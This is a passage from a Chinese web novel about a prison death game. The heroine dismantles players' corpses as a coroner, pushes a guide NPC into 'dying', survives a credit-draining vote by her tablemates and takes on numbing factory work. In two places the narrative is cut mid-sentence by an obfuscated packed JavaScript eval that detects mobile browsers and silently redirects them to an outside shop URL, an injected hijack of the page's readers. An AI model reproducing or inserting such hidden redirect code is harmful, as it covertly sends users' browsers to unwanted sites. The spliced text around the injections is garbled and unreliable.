这份工作不适合绝大部分的玩家,但很适合头发。 有替身操刀,第二份尸体的处理工作快上很多。点击“已完成”时,小美赞美道:“虽然是初级法医,但你已经很熟练了呢!” 很快,第三份遗体推了上来。 又是一张熟悉的面孔——面包。 斗兽场里对着巨兽直冲上去的勇敢女人。 她的人生简单许多,没有梅子喻那样不幸,也不像男鬼那样传奇,而是一个普通女子的一生。 第一段,学生时代,成绩不上不下,没有谈过恋爱,老老实实地上课做作业,从未被请过家长,在老师和同学眼中存在感颇为薄弱。 第二段,曾经有几个无话不谈的好朋友,但随着年纪增长,慢慢失去了联系。 第三段,毕业后找了一份辛苦的低薪工作,每日当牛做马,压抑到极限的时候拍着桌子吵了一架,被开除。 第四段,没拿到赔偿。回到家里住了几个月又跑出来继续工作,相亲,相亲失败,继续相亲……琐碎无趣、不停重复,又一无所获的一段日子。 第五段,与当年老友偶遇,发现已经过上了天差地别的生活,随意交谈几句,发现没什么好聊,便散了。 第六段:和老友告别后,回家的路上不知在想什么,晃了晃神,被冲来的摩托撞到路边。 大概是死了。 平凡到似乎没什么看点可言,但对于她本人来说,或许这种普通也是一种幸运。在死亡到来之前,她的生命里都没什么意外,没有天降横财,没有家财万贯,也没有莫名其妙的血光之灾。 蛮好的。 梅子喻很想给她打满分——经历了这样一段毫无波澜和磨砺的人生、又或者平凡本身就是一种磨砺——仍能有面对比自己高大一倍的巨兽时直冲上去的勇气,自然值得一个好评。但这样的想法,显然不会被游戏认可。 梅子喻点了“下一个”。 “恭喜你,做出了正确的选择!一个除了承载了许多失望之外没什么可说的尸体,让我们继续下一个吧~” 失望? 梅子喻略微愣了愣,她有点想不明白,为什么别人会对面包失望。 怎么会有人对坚持活下去的人失望呢? 梅子喻没有亲朋好友,不太清楚让他们失望是怎样的感觉,大概不会有多难受:她想象中,不会比没有亲朋好友更难受。 不过她觉得多少有些不公平:既然已经成为了最亲近的人,怎么还能抱有“失望”这种情绪呢? 她情不自禁地想象着,如果她也有家人朋友,会如何评价她。 他们也会对她失望吗?会像游戏说的那样,觉得她活着反而是浪费资源吗? 大概不会吧。 他们肯定只会赞美她充满勇气和希望,就像她现在这样赞美着面包一样,也就像儿童文学如此坚决地追随着她一样。 如果他们是同类,那他们一定都能理解坚持活下去是一件多么不容易且多么值得被赞扬的事情。 一番自我安慰后,梅子喻心里舒服多了。 游戏对男鬼的价值判断像只附着在脑子里的恶心虫子一样让她不适,但现在自我逻辑圆满之后,又觉得那些东西不值一提——从男鬼的一生,到他的人生评价,都一样不值一提。 第四个尸体是龟壳的。 第一段,上学,家庭变故,继续上学。 第二段,厌学。 第三段,退学。 第四段,决定去面对社会,出去找工作。 第五段,面试失败,找不到工作。 第六段,找到了一个工作。 第七段,没去,啃老。 第八段,没有朋友,没有钱,蹲在家度过每一日。颓废地熬着夜,某天忽然想出去看看风景。 第九段,站在阳台向外看的时候掉下去了。 也可能是自杀。影像里是个背影,这一点无从考证。 梅子喻:“……” 好简单明了的一生。 鉴于他没有主动面对过什么事情,梅子喻想给他一个不及格的评价。 下一个。 “恭喜你做出了正确的选择!像草履虫一样地活着,像垃圾一样死去,同样没什么可说的。来看下一个。” 梅子喻难得和游戏三观一致了一次。不过看到那句“垃圾一样”,忽然又觉得心里有些不适——她已经认定了这游戏不是什么好东西,怎么可以和游戏想的一样呢? 但接下来要处理的尸体还有很多,不是反思的时候。 之后,陆续出了几个和男鬼的人生很像的尸体,都是在斗兽场见过的老面孔,而且无一例外,在最后一幕都死掉了。 头发切的很快,处理到第八具尸体时,小美说道:“恭喜你,由于你熟练操作,现在已经变成了中级法医,额外增加10具可供选择的尸体!” 这时,梅子喻良心指数已经回到了负10。 明确了规则后,工作顺利得超乎想象。很快,又处理完了6具尸体,良心指数涨到了60,法医等级也升到了高级,再加了十具尸体。 虽然梅子喻要做的仅仅是决策和选择,但长时间浸泡在血腥的气息下,一次次看着这些尸体的生平然后将他们的零件放入篮子里,精神污染也颇为严重。 唯一让她高兴的是,那些被她认可但被游戏认定没价值的尸体不会被这样糟蹋。 而那些极具价值的尸体,反正已经过了精彩而丰富的一生了,死后被拆了也就拆了吧。 到第十二具尸体时,梅子喻终于还是感到一丝窒息,让头发暂停了工作。 “小美,我想出去透口气。” 小美说道:“当然可以!你已经超额完成工作,可以随意支配你的时间。” 良心指数到了90,再拆一具尸体,就可以永远和这个反人类的工作说再见了。 这一条通道左右全是如出一辙的血腥手术室,但隔着层玻璃还是觉得空气清新了很多。 梅子喻在自己的手术室前靠墙站立,忽然很想来根烟——如果她有的话。 在刚才那些人的生前影像里,她看到出现最多的东西,大概就是烟、酒和性。 从出现频率来看,人类很依赖它们。 这么多年的苦日子没有烟可过不去,但她根本买不起,所以不用担心某日自己沦落到酗酒和烟瘾的地步。 她学着那些人的样子,两只手指像是捻着什么,凑到嘴边,吸气,呼气。 理解不了。 只是漫长而饱满的吸呼之间,人会情不自禁地发呆,放空,似乎确实有什么东西被吐出去了——某些烦乱的思绪。如果这股气息中含有一丝让人麻木的元素,大概就能将烦闷吐出去,留下一个不会思考但是不再痛苦的自己。 梅子喻想:如果给她一点点钱和造作的空间,一切会不会变得不一样? 她反复地呼吸,假装自己真的在吸一支烟,借着这一声声被掩为吸烟是长叹,试图呼出压住心脏的那一块巨石。 看了这么多有价值或无价值的、有趣或无趣的、幸福或痛苦的人生,心中有种说不出的感慨和压抑。 “能给我一根吗?” 身边人突兀地说了一句,打破了只有自己呼吸声和旁屋呕吐声的别样宁静。 梅子喻转头看去,不知何时,光芒来到了自己身旁。他脸色苍白,眉头止不住地皱着,看上去十分哀愁。 “我有点受不了了。”光芒说道。 梅子喻一愣,“你是说烟吗?” 光芒沉默地点头,梅子喻也沉默了。良久,向他展示了自己空空的手:“我也没有。” 光芒愣了下,然后忽地笑出了声。 他没有离开,而就这样和她一样并肩靠在墙上,仰头望着天花板发呆:“假装自己在抽。是个止痛的好方法。” 梅子喻将他上下打量一番,也没见什么伤口:“止什么痛?” “心痛。” “……” 虽然梅子喻后知后觉地感受到自己心里那股压抑也可以被称之为“心痛”,但还是觉得这样讲出来有点头皮发麻。 光芒两手并在唇边,狠狠地挨了一下子,从鼻中呼出一股气。 他也在假装吸烟,不过从姿态看来,比梅子喻熟练多了,大概进入游戏前也没少抽。 “感觉怎么样?”梅子喻好奇问道。 “好受一点。” “真的?” “……假的。”光芒无奈道:“假装好受一点。” “你在现实中抽烟吗?” “不抽。” “真的?”还想问问他抽烟的感受呢。 “假的。” “……”梅子喻问道:“抽烟是什么感受?” “呼吸变成了能感知到的东西。” “喔,很爽吗?” “不,只是止痛。” 一阵不算尴尬但十分压抑的沉默。 梅子喻决定换一个好交流的话题:“你刚刚为什么心痛?” 光芒吸了好几口,才从干涩的嗓子中挤出一点声音。 “我刚肢解了我的朋友。” 梅子喻不知道要怎么接这句话,她想象中,肢解自己的体验应该比肢解朋友更惊悚。 但她其实感觉还好。 光芒走神一阵子,看向手术台里那盏晃人的灯,“他选择了斗兽场那条路,现在大概,已经死了。” “啊?没有吧,我昨天也在斗兽场,现在还活着呢。” “……我以为死了的玩家才会变成尸体。”光芒眼里恢复了一些光彩:“所以,其实他没死是吗?” “应该不会。”梅子喻说道:“我猜我们只会死于没饭吃,而不是死于工作。” “……这样吗,不过现实中都是恰恰相反。” 梅子喻不懂他在说什么,“现实中都是死于不想活吧。”毕竟,她饿到翻垃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我当然能。”她觉得这问题莫名其妙,她已经拆过自己的尸体,见过自己死前的影像。他们都拆了那么多人,看尸体就像看一滩肉。再说,人若死了,尸体确实也就只是一滩肉,没有什么多余的意义所在。 “好。” 光芒没再说什么,转身离去。 她看见他将刀狠狠地插入下一具尸体,似乎带着愤怒。 她心里不由得有些难受。有了诗童这个朋友,她都忘记了交朋友对她来说是件很难的事情。现实中,别人总是无法接受她、她的经历、她的经济情况和她的思想。看来游戏里也是一样。 人不是替身,不是那么好说服的。而且,她面对一个有思想的真正的人类,也没办法说出太多的话。 因为他们不会真的听她在说什么,而且总是在反驳。 梅子喻有些后悔向光芒说出了自己内心的想法——哪怕她是出于向对方展露自己最真实一面的心理。 她悻悻地回到自己的房间,叹了口气,看着屏幕里跳动的小美,随口问道:“小美,你的一生又是怎样的呢?” 小美宕机了几秒。它只是一个小助手,还没有人问过它这样的问题。 不过,它很快找到了答案:“我的一生就是为你们服务,引导你们更好地进行游戏啦~” “会不会无聊?就像我干这份工作一样。但我干一天就可以换了,你却要一直做下去。” “不会无聊啊,我可以看到许多人类的一生,可以评判他们的人生是否有价值,可以引导更多的人进行正确的判断和拆分,让这个社会运转得更好……” “那么如果你死了,你会是有价值的尸体吗?” “……” 小美沉默。 “小美。你有没有觉得自己的名字很随便。”梅子喻说道:“你想不想换个名字,我给你起一个,叫‘美好明天’怎么样?” “很好!是个好名字,很好的寓意!”小美很高兴能从上一个问题中跳出来,因此显得格外兴奋:“我喜欢这个新名字。我想这会让我的人生变得更有价值,因为我从名字到存在的目的都是一个美好的向往……” 它就像所有AI那样,不停地生成着语句,滔滔不绝地说。 “喔,但这只是一个我随便说的名字,和我那个系统随机的名字一样没有价值。我生前没做什么事,死后是没有价值的尸体,你呢?你引导很多玩家进行拆分,但其实没有你他们也能做。你只是复述游戏给出的评价,然后强行找一个理由圆过去。你对这个系统做出过任何的贡献吗?你有满足玩家和游戏对你的期待吗?你是不是存在和不存在,都不会有任何的影响呢?你其实很清楚吧,所以换了一个看似更有含义的名字都会高兴的不得了。” “——因为你要做价值判断,但你很清楚地知道你没有价值。” 屏幕里的小圆子不跳了,呆呆地卡在那里,没有响应。 “小美。”梅子喻向后靠在椅子上,颇为随意地建议道:“要不要死一次看一看,游戏认为你的尸体有没有价值?” 啪叽。 小美变成了个扁片,然后消失了。 后门则缓缓推开,屏幕上进入了下一个选择的界面。 第十三具尸体:美好明天。 35. 夜晚二、解脱 尸体宛如石膏质地般洁白平滑没有颜色,五官如神造一样美丽。它虽然已经死去,却好像一座从未活过的雕塑,没有任何特征与性征,像所有人类分化前的模板,一具未被加工的初始身体。 如出一辙的重复片段密密麻麻摆满了屏幕。 第一段,引导法医做出正确选择。 第二段,引导法医做出正确选择。 第三段,引导法医做出正确选择。 …… 第n段,被法医“梅好明天”教唆自杀。 确定/下一个 这就是它的生平。 被系统制造出来的、在无限的时间里没有思考地重复做着一件事的引导NPC——做到了它该做的一切,没有做它不该做的一切。生命里每一个时刻都是彼此的复制品,重复着被期望的行为。 自然,是符合游戏对它的期待的。 除了临死前的那一刻。 梅子喻点击了确定。 ——良心数+10 ——您的良心数已达到100,今日工作已结束 ——您可以申请其他工作 看着屏幕上三条冰冷冷的、没有语气词和波浪号的系统通知,梅子喻从头发手里接过手术刀,插入白模一般的躯体之中。 连内脏都像教科书上的图例一样标准。 梅子喻沉静地将这些器脏放入分类篮子里,心脏、脾胃、脊椎、肠子、牙齿……眼睛。 两手拢起,将眼球捧在手中。不会动的瞳孔死死地对上她的眼,像是注视着她,对她说:我得到了我想要的结果。 “恭喜你……游戏认为你是值得的。”梅子喻轻声说道。 虽然值得,却为了验证是否值得而死去了。 从生到死,值十分。 …… 虽说良心指数刷到了100,但因为信用度有上限,从手术室中走出来时,梅子喻的信用度也只是100。 不过好在,可以换工作了。 梅子喻走出手术室时,瞥见光芒靠在椅子上发呆。不知他今天的工作做的如何? 希望他能不要记恨自己说过的那句话——毕竟,他已经知道了她今早信用度满分。 从长长的通路中走出来,桌边已经坐了四人。男鬼也回来了,满身绷带,看来在斗兽场没过上什么好日子。 没一会,光芒也回到了座位。其他桌的人陆续坐满后,狱警端上了今日的晚饭。 一日两次的抢饭时刻,没人说话,都安静地盯着自己面前的餐盘。 梅子喻照例选择了一份。 和昨天一样,她应该是这里信用度最高的,但她依然不需要加血。 众人迅速地选择,吃饭。结束晚餐后,大多满面疲惫,想要早早离开食堂,回到牢房睡下。 已经有三人站起了身,梅子喻也准备起身离开,却听有人忽然说道:“应该有人没有饭吧。” 梅子喻脚步一顿。 ……是光芒。 “能说的话大概有限。我长话短说。”光芒伸手一指,朝向她的方向:“她换了工作。” 说罢,大步转身离去。 其他四人的目光自然齐齐地聚在梅子喻的身上,带着不同的涵义,尤其是男鬼,笑得嘴都要咧到嘴边。 “她换工作了。”男鬼说道:“我作证。” 今日或许没人注意到梅子喻选择了哪扇门,但他们昨天在选择之前加了群,对梅子喻和男鬼去了一条路还有印象。 这下两个人都在声张,她的信用度是满分。 至少,今早是。 “我……”梅子喻想解释些什么,张着嘴想了半天,又什么都没说出来。 男鬼和光芒已经对她有所怨恨。 他们两个的发言是在向其他人表明,他们已站在同一立场上。光芒果断的转身离去,更说明他的决心—— 攻击其他人是需要消耗自己的信用度的。联合其他人去攻击信用度最高的人,是让自己吃上饭的最优解。 光芒说他能说的话有限,说明他信用度可能并不高,但他却懒得去看其他人的反应,就这样留下一句话便离开了。 说明他执意要对抗梅子喻。又或者……只是在诱导其他玩家进行攻击,而自己坐享其成。 剩下三个:春笋、酒精和羽毛。羽毛的游戏经验最为丰富,此刻也看不出来他的心态,大概信用度和血量都够用,足够吃的上饭。春笋和酒精的表情,则控制不住地带上了一丝掠食者一样的攻击性。 梅子喻意识到,她已经被盯上了。 他们安静地盯着她,等待她说出一些狡辩的话语。但她清楚,无论她说什么都不会改变他们心中的想法。如果他们已经相信她的信用度最高,同时相信还有其他人会发出攻击,那他们似乎也没有什么不落井下石的理由。 她本想说,我确实换了工作,但我没有吃掉多份食物。你们就算投掉我,也只是给排名第二的人送上一份饭而已。 但到现在,似乎也没什么解释的必要了。说的越多,也只是更加证明了她信用度很高这一点而已。 最后,她只耸了耸肩,说道:“我只吃了一份。” …… 广播播报:“今夜规则:夜晚请不要说话、打字与表达。” 梅子喻没有弄懂“禁止表达”的含义。因为不能说话,不能发消息,她也没法和男鬼或者诗童他们讨论。 白天工作时,诗童并未回复她的消息,到了晚上,自然更不能给她回信。梅子喻反复看了几次停留在自己发出疑问的对话框,最后关掉手机,盯着天花板。 她在绝对的安静中慢慢睡去,第二天醒来时才意识到,昨夜灰烬没有敲墙。 所以,灰烬敲墙的行为……其实就是“表达”? …… 早餐时间,六人坐好,依旧无人发言。 但五双视线却齐聚在梅子喻身上。 ……他们确实是要对她下手了。 早饭端上,在吃之前,先是投票环节。 “我会用45点。”光芒忽然说道。 “……”梅子喻无奈地看了他一眼——早知道,自己就不说那句多余的话了,朋友没交到,还多了个仇人。 “35。”男鬼跟着说。看来他虽然在斗兽场受了伤,但也得到不少信用度。 “15。”春笋说道。 “15。”羽毛说道。 “……4。”酒精最后一个发了言。这样一个微妙的数字,估计是因为他的信用度本就很低了。 他们就像赌桌上追加筹码的赌徒一般,用自己的生命余额进攻梅子喻。 梅子喻缓慢地打量过他们每个人。没人错开视线,反而都坚定地与她对视。 他们已决心齐心协力将她杀死。 在这游戏里,玩家间互相攻击算不上什么稀罕事。绝大部分时候,这都是他们活下来的保命手段。 所以此时此刻,自然也不会产生什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208971|151081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愧疚之情。而梅子喻也是一样,她没有埋怨谁,甚至对光芒也没有仇恨之意,只是在想,她会在这里死去吗? 如果他们都按照所说的数字投票,她必然会死。 信用度以她看不清的速度飞快下降,梅子喻光是坐在那里,就出了一身冷汗,等这数字停止跳动时,就是宣判她命运的时刻。 狱警说道:“投票结束,现在公布结果:无人解脱。” “……” 梅子喻的信用度停在了1。 本该扣但没扣的,有15分。 是春笋和羽毛中有一个没投,还是有人比自己说的数字少投了几分?…… 梅子喻站起身来,这下,刚才与她坚定对视的人开始躲躲闪闪,不敢直视。 ……一群人围攻一个人,却没杀成,怪尴尬的。 仍旧没人说话。或许是他们不知道说什么。在这里,也没法指责别人没兑现诺言——大概在投票时,多少都存在一点少投几分的心思,又怕投的太少,没能杀成。 虽然没人知道梅子喻最终的分数,但显而易见的是,她大概率成了最低分。毕竟这五人凑起来还是扣了99分,也都清楚自己投出了并不算少的数字。 之前信用度最高时,梅子喻一直觉得说话畅通无阻,并没有感受到“语言的份额由信用度的多少决定”这一规则。但现在信用度垫底时,她清晰地感知到自己能说的话很有限。 不到30字。 这么少的份额留着也没用,不如说句什么,类似于……生存感言? 梅子喻两手按在桌子上,颇具压迫感的目光环视一圈,心中字斟句酌地想着要说的话。 半晌,她缓缓地,像是在威胁似地说了话。 “你昨天说要换工作,现在应该不行了吧。还是说,你其实没有……” 后面的话没能说出来。 他们看向她的眼,又顺着她的目光,转到光芒的脸上。 梅子喻这句话,是看着光芒说的。 既然光芒注意到了梅子喻的换工作情况,那他们昨天在同一个工作场地自然十分合理。他们之间是否进行过这样的对话,无人知晓—— 虽然真正的答案是,没有。 光芒并非向梅子喻暴露过自己的信用度水平。 但梅子喻这样一说,就好像他在白天的工作就已经十分自信:自己会达到100分,并换工作一样。 而后半句没说出的话,意思也很明显。 ——还是说,他虽然口口声声说着要用掉45点攻击梅子喻,并以此诱导其他人投出分数,但其实……他根本没有投? 如果他当真换了工作,就说明他没有投。如果他继续去往之前的工作,则说明他有可能已经用掉了45分。 他会说出如此高的数字,自然是怀着能将梅子喻干掉的信心,大概率真的投了45点,否则很容易被其他人视为诱导他人投票。 但如果真用掉了这么多的分数,大概本身的分数就已足够高,用掉之后依然能保证自己在较高的水平。于是,他现在的信用度可能是:一个不高不低,能吃的上饭,但也能被两三人联手干掉的分数。 虽然,一切只是可能。 无论如何,五份菜不够六个人分,这里的六个人是无法和平地生存下去的。今天没有死人,明天势必有一个死去。 只看谁会成为那个靶子。 令人心悸的沉默中,广播播报道:“今日规则:请为你的罪名赎罪。” 36. 加工厂一、流水线 早餐过后,梅子喻的血量降到了75。 到了工作时间,几人都盯着她,想看她的去向。尤其是光芒:他确确实实投了45点整,对自己也是极大的损失。但即使如此,还是没能杀掉梅子喻,究竟是别人没有跟投,还是她的信用度太高? 见她头也不回地走向了一条新路,光芒腾的一声站了起来。 “她昨天和我一路,她又换工作了!昨晚她信用度拿满了!”光芒激动得差点掀翻了桌子,“是有人没投吗?应该马上就能干掉她。她现在分数肯定很低,我们明天继续……” 话说一半,见其他人都沉默地望着自己,光芒心里一抽,额上出了冷汗。 这种冰冷的目光是什么意思? 是,梅子喻现在分数低大概是大家都共识。一个低信用度的人没有铲除的必要。但即使如此……一个能连着两天换两份工作的人,难道不值得提防吗? 他很想把这些都清清楚楚地说明白,让大家理解他们共同的困境——一个实力碾压他们的人位列第一。但再要开口时,却感觉到嗓子被卡住,只能挤出两三个单音。 太激动,一时间用尽了说话额度。 “你的话……还挺多。”春笋淡淡地说道。 简短的六个字后,众人纷纷起身离场,没再浪费多余的话。 糟了。 光芒浑身直抖。他忽然意识到,梅子喻那番话已经把他推成了靶子。现在若是落得了一个“说话余额很多”的印象,大家自会觉得他是因为信用度十分高,才会这样放肆地使用,攻击他人。 但其实他用掉45点后,现在也只剩下十点不到。 今天必须要把信用度拿满……要怎样才能一天拿到100信用度?怎样才能像梅子喻那样,轻轻松松地一天换一份工作? 只要像她那样无情,就可以吗? 只要怀着向朋友动刀的决心,就可以吗。 …… 梅子喻走向了加工厂的路。 这里有酒精和羽毛两个人。她选这条人多的路是为了让他们看着自己工作,让他们知道自己今天拿了多少信用度。 今天的目标是:将信用度维持在能继续生存,但又不至于满分换工作的程度。 那是一个很大……很昏暗的工厂。大到走到门口时,梅子喻被那阴沉而极大的棚顶压得喘不过气,脚步不由得停了下来。 看不到边际的空间,无尽的传送带和无数机器。穿着统一监狱服装的玩家们低着头,守着机器做工。 “新来的,去230号机器。”狱警对她说道。 梅子喻刚要走,就见酒精和羽毛走了进来,狱警给他们安排今日的工作:“仍旧是228号和229号。” 看来,和手术室那时候一样,坐在一桌的人会被安排到一块工作,更方便他们看到狱友的进度。 “我们一起走吧?”梅子喻朝他们招手。在工作时间没有语言的限制,若是昨天,他们一定能聊上几句,但刚经过早上的投票,现在场面有些尴尬。 三个人并排走了一段路,大概羽毛实在受不住这样窒息的氛围,先开口道:“其实我没有投你。” “……我也没有。”酒精犹豫了一下,跟着说。 如果他们都没投,那梅子喻现在的分数应该是5。 不管他们中谁说了谎,或者两人都说谎,她并不在意。这座位本也是大家随意凑成的,同桌之间没什么情谊,谁当靶子谁倒霉。 只是她不幸地成了第一个被针对的人罢了。 梅子喻并未回应,只是轻巧地换了个话题:“今天的任务是赎罪,要怎么在这份工作中赎罪?” “这应该和罪名有关系。”羽毛看上去很想拉近和梅子喻的距离,积极地接话道:“我猜只要做和罪名相反的事情,就可以了。” 罪名…… 梅子喻的罪名是热爱生活犯,通过喝茶觉醒的。 难道她只要不喝茶就行了吗? 三人来到工位,另两人熟练地带上手套,继续昨天的工作。一名狱警则来到梅子喻身边,给她做简单的指导。 “看这个大屏幕。”狱警指着加工厂正中悬着的公示屏,上面显示着各玩家的名字与工作进度,“工作量没有上限。一天工作结束时,工作量越多的,会被分到的信用度越高。” 这回倒是没有前两个工作那样的弯弯绕绕:有限的时间里,工作得越快,得到的信用度越高。 “你的工作是清洗眼球。” 狱警打开机器,一篮篮的带着血污的眼球从传送带上流转过来。 “洗干净放回篮子,塞到机器另一个门里。” 狱警说完便走,留下梅子喻和一堆眼球们大眼瞪小眼。 “……” 这篮子,不就是昨天拆尸体时分类用的吗? 梅子喻张望了一圈,看别人的工作。有的人是清洗器官,有的人是将清洗干净后的躯体组合在一起。每个人的工作都只是非常细分的一小块,十分简单,十分枯燥,也十足螺丝钉。 和昨天的肢解比起来,实在是太好上手了。 不会把台面弄得乱七八糟,不会手忙脚乱不知从何处下手。不需要糟心的价值判断,也不会受到小美的语言攻击和浓郁血腥味的气味攻击。 虽说也笼罩着一股令人窒息的压抑感,但和昨天似乎又有些不同:没人吐出来,也不会有人向她倾诉肢解朋友的不安。这不是一份困难的工作,每个人都安静地待在工位上。空气中像是充斥着麻醉分子,一种沉沉的,令人昏昏欲睡的氛围。 梅子喻将眼球们握在手中,细致地一一洗过,放在篮子里。即使十分认真,一整盘也只需要三分钟的时间。 这一天结束,要洗完多少眼球? 这一天,又何时会结束? 她才洗了十盆就觉得颇为无聊,看了眼为1的信用度,叹了口气,只得继续工作。 手机上的时间似乎并没有按照现实中的流速转动。她曾放下篮子,在空闲中盯着时间整整六十个数,那数字也没有挪动一丝一毫。 大屏幕上也没有时间。 她在心里记着自己工作的数量,洗到第一百盒时,心中粗略地估计了一下:按照一盆一分钟来算,现在至少也过了一个小时。 但是打开手机,却见分钟只跳动了一个数字。 一股隐约的绝望感从心脏蔓延上来——一整天的时间,她的体感却可能是一天的成百上千倍。她要在这个地方洗上几千几亿盒。而这还不算完,经受了这般折磨后,她却很有可能得不到多少信用度。 大屏幕上,前几名的进度已经超过了一万个,工作量超过一千份的也有十几名。 像梅子喻的一百份工作量,根本排不上榜。 至少要赶上 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她不知怎地,在无边无际的昏天黑地中突然抬头,瞥见屏幕上自己的名字已经挤到了排名中部。与此同时,那股气再也憋不住了,如同头越出海面,水从耳里流出来,呼吸到一口崭新的空气,感官再次变得清晰——她的脑子忽然开始转动了,痛苦和绝望也再次蔓延上来。 在这样漫长到如同一个世纪的时间里,手机里的时间只过去了一个小时。 这样的一天,要许多个世纪才能结束。而在此期间,她不能停止工作。要拼命地、麻木地、把自己当作机器一样高速运转,才能得到信用度。 梅子喻茫然地向四周望了一圈,像是要寻求他人的帮助。但每一个人都只是低着头,面无表情地重复着。他们在这里工作了三天,十分害怕落于人后,分不到足够多的信用度。为了更高的信用度,为了抢的上一口饭,必须要更加努力、更加麻木。 梅子喻忽然感到一股剧烈的悲伤,是一种——若是这种痛苦没有尽头,她会想要结束生命的那种悲伤。 但也仅仅只有一瞬间而已,没有什么能够胜得过她的求生欲。 还是要……更努力地工作。 还是要得到信用度。 梅子喻望向自己的信用度。她本以为那里是1,看到这个触目惊心的数字会诞生一些动力。但出乎意料的是,看到的数字是…… 30。 信用度……上涨了?而且还是一个不小的数字。 可明明狱警说,当今天工作结束时才会分配信用度。 难不成是赎罪那条规则的缘故?就像第一晚,规则是禁止说话,当她说话时就会扣分。而现在的规则是为罪名赎罪,显而易见的,一旦进行了赎罪的行为,也就可以加分。 她停下了手里的活,专注地看着信用度。等了许久,也没见它继续上涨。 罪名是“生活热爱犯”。 她好像明白了。 只要她在工作……不,只要她在麻木地、没有任何活力地、毫无喘息地工作,信用度就会上升,这说明她正在赎罪—— 罪名是热爱生活,赎罪,自然就是去绝望地工作。 在她意识到这一切的瞬间,系统弹出了一条成就来。 【解锁成就:伪装竞争者】 【成就说明:你不需要和他们竞争那一点可怜的额度。你只需要假装竞争就可以得到无尽上涨的分数。】 【成就buff:承受你应得的嫉妒】 37. 加工厂二、作弊 信用度100。 梅子喻震惊地看着这个数字。从极度的痛苦和不可接受,到放弃一切思考地工作。像机器一样运转了三个多小时,再抬头时,信用度已经加到了满分。 若是正常人的体感,或许会觉得在这里待上了三天三夜。但当她的麻木以活下去为名时,就变得没那么难以接受了。一旦习惯于把自己作为机器运转,时间就过得很快,就算是几十年,可能也就在一眨眼之间过去了。 她在麻木这方面可能别有一番天赋。 会这样想,是因为借着看信用度抬头的间隙,瞥见了对面的酒精停下了手中工作,两手揪着头发,朝着篮子中的器官发呆。 在这地方,停下一秒钟就会被其他人落下好多,分不到最后的信用度蛋糕,之前的努力也就前功尽弃。 他这是……自暴自弃了? 不过有了上次和光芒对话的经历,这次梅子喻可不会主动凑上去搭话。她开始四处打量他人,发现虽然大部分人都在努力地工作,但却是也有极少部分人摆烂放弃,向后仰躺在椅子上,或者趴在工作台上,一脸绝望。 到处了看一圈,梅子喻心里有了盘算。原计划是不要把信用度加满换新工作的,但没想到进程顺利得超乎想象。为了避免今早被围攻的情况再次发生,一会就装作在工作的样子,至少在明早投票之前,不要被别人发现她信用度满分。 打定主意,刚要继续边摸鱼边假装工作,却忽然感受到一股目光直直地刺过来,盯得她身上发毛。 梅子喻猛地抬头,正和酒精对上视线。 并不是什么和善的眼神。 两人对视了一会,都没有主动开口。梅子喻没有继续工作,是因为她已经信用度满分。但酒精这样做,似乎就有些破罐子破摔的嫌疑了。 毕竟他今早说要投她四分,这个微妙的数字足以说明他本身的信用度就不高。 最终,梅子喻还是先说道:“怎么了?” 坐在酒精邻座的羽毛抬起头看了他们两个一眼,又低下头去继续干活,不过从刚刚略有懈怠的后靠姿势调整成了端坐,显然在偷听他们之间的对话。 酒精又看了她一会,隔了很久才幽幽地说道:“你也不想活了吗?” 这大概是将她视为自我放弃的同类了。 但可惜,她不仅已经得到了今天的胜利,还可以在明天离开这个绝望之地。 “……我只是想休息一会。”梅子喻回答道,“还有很多人也在休息。” “哪有很多人?”酒精扯了扯嘴角,一个绝望的笑:“所有人都在努力工作。我的进度已经分不到今天的分数了。你也是吗?” “我……”梅子喻正想扯个谎,却被酒精打断道:“你是第一天来吧。我劝你还是……再努力一点。你不知道他们有多恐怖。到了晚上,最高的工作量能达到百万份……” 梅子喻眉头微微一动。这不可能,她全速工作,预估一天下来顶多也就一万份。什么人仅靠手上的动作,能比其他人类快上一百倍? 肯定有人使用了其他道具或成就。但酒精并不知道还有这些手段,还以为只要够努力就可以达到那个分数,以为做不到是因为自己没有全力以赴。 “努力有用吗?”梅子喻问道。 “或许有吧,本应该有的。我努力了三天,以为今天终于找到了技巧,会快上一些。但不知道为什么,信用度却一直在下降。”酒精望向远处,两眼越发没有神智,声音越来越小,像是在喃喃自语,“我不想继续努力了。这份工作让我恶心,我想放弃。不知道为什么我已经这样拼尽全力还要扣我的分,但我已经不想管了。我什么都不想要了……” 他被折磨到脑子里的那根弦崩掉了。 梅子喻倒是能理解。她知晓一开始进入这个环境的痛苦:若不是她有超强的求生意志,又或者她对痛苦再敏感一点,再无法接受麻木一点……她可能也会在坚持半天之后崩溃掉。 酒精只是累了,累到新的规则一旦出现,就想立即结束这个游戏。 说话这么一会功夫,梅子喻的信用度也从100掉到了99。她知道为什么会涨,自然也知道为什么会跌——停止工作、和别人进行有意义的交谈、动脑思考,当然不符合“生活热爱犯”的赎罪范畴。 酒精的信用度下降多半也是这个原因。 不过,她不打算说。既然他自己已经放弃掉生的希望,她也不会给予什么帮助。更何况,还可能出现昨天光芒那种将矛头指向她的情况。 她点了点头,正要继续工作,却听酒精忽然说道:“其实今早我投你了。” 梅子喻一愣。她很惊讶,酒精会将这件事情坦白讲出来。这算是……人之将死,其言也善? “我一共只有16点。投了你4点,今天工作时还剩12点,但现在已经降到10了。我已经连续三顿没吃上饭了,今天再吃不上就会死。不管是信用度降到0,还是信用度太低抢不到食物,我都会死。”酒精失去光彩的眼球慢慢转上来,再度对上梅子喻的视线:“我已经很清楚我会死在今晚,不想挣扎了。但我刚才也想,会不会如果我不投你那四点,现在会多一丝希望。每一点对我来说都很重要。我很后悔,不该投你的。” 